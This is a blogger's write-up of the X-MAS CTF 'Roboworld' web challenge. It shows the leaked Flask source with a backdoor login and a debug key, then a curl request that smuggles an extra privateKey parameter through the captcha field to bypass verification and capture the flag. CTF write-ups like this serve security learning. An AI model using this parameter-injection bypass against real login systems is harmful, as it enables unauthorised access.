X-MAS CTF: Roboworld
This is my quick & dirty write up for the X-MAS CTF Roboworld challenge.
The description is as follows:
A friend of mine told me about this website where I can find secret cool stuff. He even managed to leak a part of the source code for me, but when I try to login it always fails :(
Can you figure out what's wrong and access the secret files?
Remote server: http://challs.xmas.htsp.ro:11000
Files: leak.py
Author: Reda
We download the source code:
from flask import Flask, render_template, request, session, redirect
import os
import requests
from captcha import verifyCaptchaValue
app = Flask(__name__)
@app.route('/')
def index():
return render_template("index.html")
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('user')
password = request.form.get('pass')
captchaToken = request.form.get('captcha_verification_value')
privKey = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" #redacted
r = requests.get('http://127.0.0.1:{}/captchaVerify?captchaUserValue={}&privateKey={}'.format(str(port), captchaToken, privKey))
#backdoored ;)))
if username == "backd00r" and password == "catsrcool" and r.content == b'allow':
session['logged'] = True
return redirect('//redacted//')
else:
return "login failed"
@app.route('/captchaVerify')
def captchaVerify():
#only 127.0.0.1 has access
if request.remote_addr != "127.0.0.1":
return "Access denied"
token = request.args.get('captchaUserValue')
privKey = request.args.get('privateKey')
#TODO: remove debugging privkey for testing: 8EE86735658A9CE426EAF4E26BB0450E from captcha verification system
if(verifyCaptchaValue(token, privKey)):
return str("allow")
else:
return str("deny")
A few things that immediately caught my eye:
- The
TODO
with the debug private key that we'll likely use &privateKey={}
with an unknown private key as an URL parameter.username == "backd00r" and password == "catsrcool"
that we'll want to use
My first idea was if we could control the port
to rewrite the URL and change the privateKey
parameter in the request to the debug key. However, we cannot control the port
variable :-/ Instead, we can use captchaUserValue={}
and use our user-supplied value captcha_verification_value
to override the &privateKey=
.
So lets build a value for the captcha_verification_value
parameter that will introduce a new privateKey
parameter into the request to captchaVerify
:
user=backd00r
pass=catsrcool
- `captcha_verification_value=URLencode('&privateKey=8EE86735658A9CE426EAF4E26BB0450E#')
At first, I tried this request in Firefox's "Edit & resend" feature, but it automatically decoded the url-encoded parameter and the hack didn't work. I then tried it with curl:
$> curl -d "user=backd00r&pass=catsrcool&captcha_verification_value=98Jd9UFkjm%26%70%72%69%76%61%74%65%4b%65%79%3d%38%45%45%38%36%37%33%35%36%35%38%41%39%43%45%34%32%36%45%41%46%34%45%32%36%42%42%30%34%35%30%45%23" -v http://challs.xmas.htsp.ro:11000/login
This will result in the following URL: http://127.0.0.1:5000/captchaVerify?captchaUserValue=98Jd9UFkjm&privateKey=8EE86735658A9CE426EAF4E26BB0450E#&privateKey=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
, so using #
we omit the unknown privatekey
parameter.
The server verifies the captcha successfully and replies with:
< HTTP/1.1 302 FOUND
< Server: nginx
< Date: Sun, 15 Dec 2019 18:15:24 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 251
< Location: http://challs.xmas.htsp.ro:11000/dashboard_jidcc88574c
< Connection: keep-alive
< Vary: Cookie
< Set-Cookie: session=eyJsb2dnZWQiOnRydWV9.XfZ4PA.9lDzMk3c6ageqZ_OEw7aY8gjgw0; HttpOnly; Path=/
<
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
* Connection #0 to host challs.xmas.htsp.ro left intact
<p>You should be redirected automatically to target URL: <a href="/dashboard_jidcc88574c">/dashboard_jidcc88574c</a>. If not click the link.
We quickly import the returned session
cookie into Firefox and request http://challs.xmas.htsp.ro:11000/dashboard_jidcc88574c
and get the following page:
Clicking through the links, the video has some interesting blicking text in it:
The flag is: X-MAS{Am_1_Th3_R0bot?_0.o}